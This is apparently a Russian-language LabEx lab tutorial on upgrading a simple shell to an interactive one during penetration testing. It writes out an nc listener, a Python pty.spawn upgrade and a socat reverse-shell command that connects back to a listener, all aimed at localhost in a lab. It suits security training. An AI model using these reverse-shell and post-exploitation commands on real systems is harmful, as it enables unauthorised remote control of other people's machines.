Введение
В области пенетрационного тестирования получение доступа к целевой системе часто включает получение оболочки (shell), которая может быть простой оболочкой или интерактивной оболочкой. Простая оболочка имеет ограниченные функциональные возможности и не обладает интерактивными возможностями, в то время как интерактивная оболочка предоставляет более мощную и удобную для пользователя среду. Эта лабораторная работа (LabEx) призвана исследовать различия между простой и интерактивной оболочками и провести вас по процессу обновления простой оболочки до интерактивной оболочки.
Понимание простой оболочки
На этом этапе мы рассмотрим концепцию простой оболочки и ее ограничения. Простая оболочка обычно получается с помощью уязвимостей для удаленного выполнения команд или других эксплойтационных техник. Хотя она позволяет выполнять команды на целевой системе, у нее отсутствуют несколько важных функций, которые могут помешать фазе пост-эксплуатации.
Чтобы начать, откройте окно терминала и перейдите в каталог
/home/labex/project:cd /home/labex/projectЧтобы смоделировать процесс получения простой оболочки на целевой системе, вам нужно настроить прослушиватель на порту
5911с помощью командыnc:nc -lnvp 5911Ожидаемый вывод:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911...Это окно терминала будет служить прослушивателем для подключения простой оболочки.
Откройте
другое окно терминалаи перейдите в каталог/home/labex/project. В вашем домашнем каталоге вы должны увидеть файлexploit.sh. Этот файл моделирует эксплойт для удаленного выполнения команд, который можно использовать для получения простой оболочки на целевой системе.cd /home/labex/projectЗапустите скрипт
exploit.sh, чтобы подключиться к прослушивателю на порту5911и получить простую оболочку на целевой системе:./exploit.shОжидаемый вывод:
labex:project/ $./exploit.sh Simulating attack... Shell has been rebound, please check the terminal which you listen to the port 5911Этот скрипт подключится к прослушивателю на порту
5911и предоставит вам простую оболочку на целевой системе.Вернитесь в окно терминала, где вы настроили прослушиватель. Вы должны увидеть, что соединение с целевой системой установлено.
Пример вывода:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696 |Вы можете проверить, что получили простую оболочку, выполнив такие команды, как
whoamiиlsb_release -a. Однако вы заметите, что простая оболочка не обладает некоторыми функциями, такими как правильные приглашения команд, автодополнение по Tab и возможность использовать интерактивные команды, такие какsuилиssh.
Обновление до интерактивной оболочки с использованием Python
Один из способов обновить простую оболочку до интерактивной - использовать модуль pty в Python, который позволяет создать псевдотерминал (pts).
Сначала проверьте, установлен ли Python на целевой системе, выполнив следующие команды:
which pythonЕсли Python установлен, вы можете создать псевдотерминал с помощью следующей команды:
python -c 'import pty; pty.spawn("/bin/bash");'Эта команда запустит новую интерактивную оболочку с поддержкой псевдотерминала, позволяя вам без проблем выполнять такие команды, как
suиssh.Пример вывода:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");' labex@660d6d4be229593d40db954d:~/project$Вы можете проверить, является ли новая оболочка псевдотерминалом, выполнив команду
ttyи перенаправив вывод в файл:tty > /home/labex/project/shell.txtПроверьте содержимое файла
shell.txt, чтобы узнать, является ли оболочка псевдотерминалом (pts).cat /home/labex/project/shell.txtПример вывода:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt /dev/pts/5
Однако, хотя псевдотерминал Python решает некоторые ограничения простой оболочки, у него все еще отсутствуют некоторые функции, такие как автодополнение по Tab, навигация по истории команд и правильная поддержка текстовых редакторов, таких как vim или vi.
Примечание: Вы можете выйти из псевдотерминальной оболочки, набрав exit или нажав Ctrl+D.
Обновление до полноценной интерактивной оболочки с использованием Socat
Для более комплексного решения мы можем использовать утилиту socat для получения полноценной интерактивной оболочки с поддержкой всех функций, включая автодополнение по Tab, навигацию по истории команд и совместимость с текстовыми редакторами.
Сначала проверьте, установлен ли socat на целевой системе, выполнив следующую команду:
which socat
Если socat установлен, следуйте этим шагам:
Откройте
новое окно терминалаи запустите прослушиватель на порту5912с использованием следующей командыsocat:socat file:$(tty),raw,echo=0 tcp-listen:5912Ждите, пока соединение будет установлено.
В простой оболочке выполните следующую команду, чтобы подключиться к прослушивателю и обновить оболочку до полноценной интерактивной оболочки:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912Вернитесь в окно терминала, где вы настроили прослушиватель. Вы должны увидеть, что соединение с целевой системой установлено. Теперь у вас должна быть полноценная интерактивная оболочка со всеми функциями, которые вы ожидаете от обычной сессии терминала.
Пример вывода:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912 labex@660d5d5ee229593d40db9301:~$
Протестируйте новую интерактивную оболочку, используя такие команды, как cat, ssh, vim, и навигацию по истории команд с помощью стрелок вверх и вниз.
Резюме
В этой лабораторной работе (LabEx) мы рассмотрели концепцию простых и интерактивных оболочек в контексте пенетрационного тестирования. Мы узнали о ограничениях простых оболочек и важности обновления до интерактивной оболочки для эффективных действий на стадии пост-эксплуатации. Мы изучили два метода обновления простой оболочки: использование модуля pty в Python для создания псевдотерминала и использование утилиты socat для получения полноценной интерактивной оболочки со всеми необходимыми функциями. Практикуя эти техники, вы приобрели ценные навыки, которые помогут вам в будущих пенетрационных тестах, позволяя преодолеть сложности, связанные с простыми оболочками, и упростить свои действия на стадии пост-эксплуатации.